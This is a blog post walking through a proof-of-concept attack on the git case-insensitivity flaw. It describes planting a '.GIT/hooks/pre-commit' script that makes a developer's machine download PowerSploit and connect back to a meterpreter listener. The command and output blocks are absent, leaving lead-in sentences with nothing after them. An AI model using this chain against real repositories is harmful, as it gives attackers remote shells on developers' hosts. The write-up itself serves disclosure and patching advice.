Pwning git: A Proof of Concept (PoC)

When the git bug struck I was stuck in a data centre with little chance to test it out. When I finally escaped I did the PoC described below and wrote it up. It was after this was submitted for publishing that it was pointed out to me that Mehmet Ince had already posted a PoC on 19/12/2014 . He used a slightly different payload and a different hook; but the basic technique is the same.

Last week a rather dangerous oversight, or, as code reviewers, say “a cock-up”, was found in the git client; as described by my colleague Pedro.

Looking through the description of the flaw I thought it may be easy to make a simple PoC that could potentially be used for an attack if a git repository can be found that allow pushes. Whilst here I’ll just point out that you shouldn’t all rush off to attempt this on the big Internet repos, like Github: they’ve already put hooks in to stop this being exploited. Private repos are a different matter.

The flaw

To recap, the issue was to do with case sensitivity in filenames, git was originally designed as a code versioning system to manage the Linux kernel. As such it was designed expecting filenames to be case sensitive, i.e. “fred” is a totally different file from “FRED”.v

Now Git has been ported to all sorts of common operating systems, including Windows, which uses NTFS which is case insensitive, but case preserving, i.e. “fred” is the same file as “FRED”, but the stored filename will retain its original case.

The problem is that the client didn’t expect case insensitivity, so if it the repo has files called “jim” and “JIM” on a Windows system, the file “JIM” would overwrite the file “jim”.

This is a bit of a pain, but doesn’t cause much of a security problem; except that this allows the bypassing of its check to stop overwriting of the git working directory: “.git”. So, if you have a repo set up with a directory “.GIT” this would overwrite the files in the git working directory.

The working directory includes a number of things, including “pure” copies of all the files (which I’ve abused earlier), the local configuration file “config” and a set of programmatic controls or “hooks”.
So, the flaw is that we can overwrite the configuration file and execute code by mangling different cases.

Exploiting it

I’m going to exploit this. We’re going to assume that we’ve already found a git repository that we’ve got commit access to. To replicate this I set one up on a test virtual machine and populated it with a test file.

To save confusion, all hosts have been given RFC 1178 compliant hostnames and listed below:

I could’ve split up asphodel, but I had the virtual machines already set up and I’m lazy. My first step is to check out the repo on a Linux (or any other system with a case sensitive file system):

As you can see at the end we have the file in the repo “test.txt” and the git working directory “.git” which is created automatically.

Now we can set up for the attack, but first we need to have an idea of what we’re going to do. Our goal is to get a remote shell on the developer’s host (tartarus).

A Quick Aside – Setting up the Shell

As I’m lazy and I want to do the minimal amount of work to get a remote shell I’m going to reuse a tactic that I’ve used many times before on Windows workstations:

1. Set up a web server running on port 80/tcp
2. Use this to host PowerSploit https://github.com/mattifestation/PowerSploit
3. Set up a Metasploit reverse_https on port 443/tcp
4. Use a Powershell command line to pull down PowerSploit and use this to spawn its internal meterpreter client and connect back to my meterpreter listener

This sounds a bit convoluted and I can hear you asking “why don’t you just use a standalone executable”? There’s two reasons: one, I’d need to get the executable onto the host, which requires a transport mechanism (yes I could use the web-server) and that the above technique is all in memory which means that it is unlikely to be picked up by anti-virus software.

The first step simply requires us checking out the PowerSploit repo from github into our web root: (the example below uses nginx, but it can work with any web server):

Then, start up the web server:

And the Metasploit listener:

This will all be exploited by a pretty standard call to PowerShell, which’ll download PowerSploit, and then execute its internal version of meterpreter:

Now we’re in a state where we can sit and listen for stuff to come in.

Priming the repo

Right, we have a vulnerability, we have a listener, all we need to do is exploit it.
We going to create a file in .git, from here we have a couple of choices of what we can exploit:

.git/config

This is the local configuration file from where we have a couple of core options we can set to manipulate code, such as:

• core.path – the path used to search for executables
• core.editor – the executable used to edit text files, e.g. for commits
• core.pager – the executable used to break up files interactively, e.g. for the git log

My first PoCs used core.editor, but this didn’t quite do what I wanted, as it required the mark to execute stuff in exactly the right way (make a commit with no comment), which was useful, but less likely to be exploited.
So I moved onto the second choice…

.git/hooks

Git, like most complex multiuser systems allows a mechanism for its code to break away from its normal execution flow and run some local custom logic. This is great for flexibility and perform stuff like integrity checks, but leaves a nice place to inject our dodgy stuff in.

The git hooks are all written in bash, even on Windows (hmmm… I wonder whether they are vulnerable to shellshock?) and are named after the hook they present. The one I’m interested in is called ‘pre-commit’, which runs as soon as a “git commit” command is issued.

So, on jotunheim we add our dodgy .GIT directory and create a hooks/pre-commit script to run our PowerShell scriptlet (above):

Exploitation

We’ve primed the pie, so all we need if for out mark to try and commit a change on their local repo. To speed this up, I’m going to pretend to be them and go onto jotunheim, update the local instance and commit a change:

That’s what the developer would see. Looks fine doesn’t it? There’s a mention of the pre-commit after the git pull, but we can mask that with lots of commits; and it’s likely the developer won’t even see it, or understand what it means.

Meanwhile, on out meterpreter listener we get the following output as soon as the “git commit” command is issued:

PWNED! I’m in your developer serverz hacking your networkz!

Conclusion

I say this a lot, and the message won’t change: patch, especially your third party software. Ensure that all used software in your CMDB (if you don’t have one, make one) is monitored regularly for security patches; even the most innocent seeming applications can have security flaws which may give me a toehold into your network!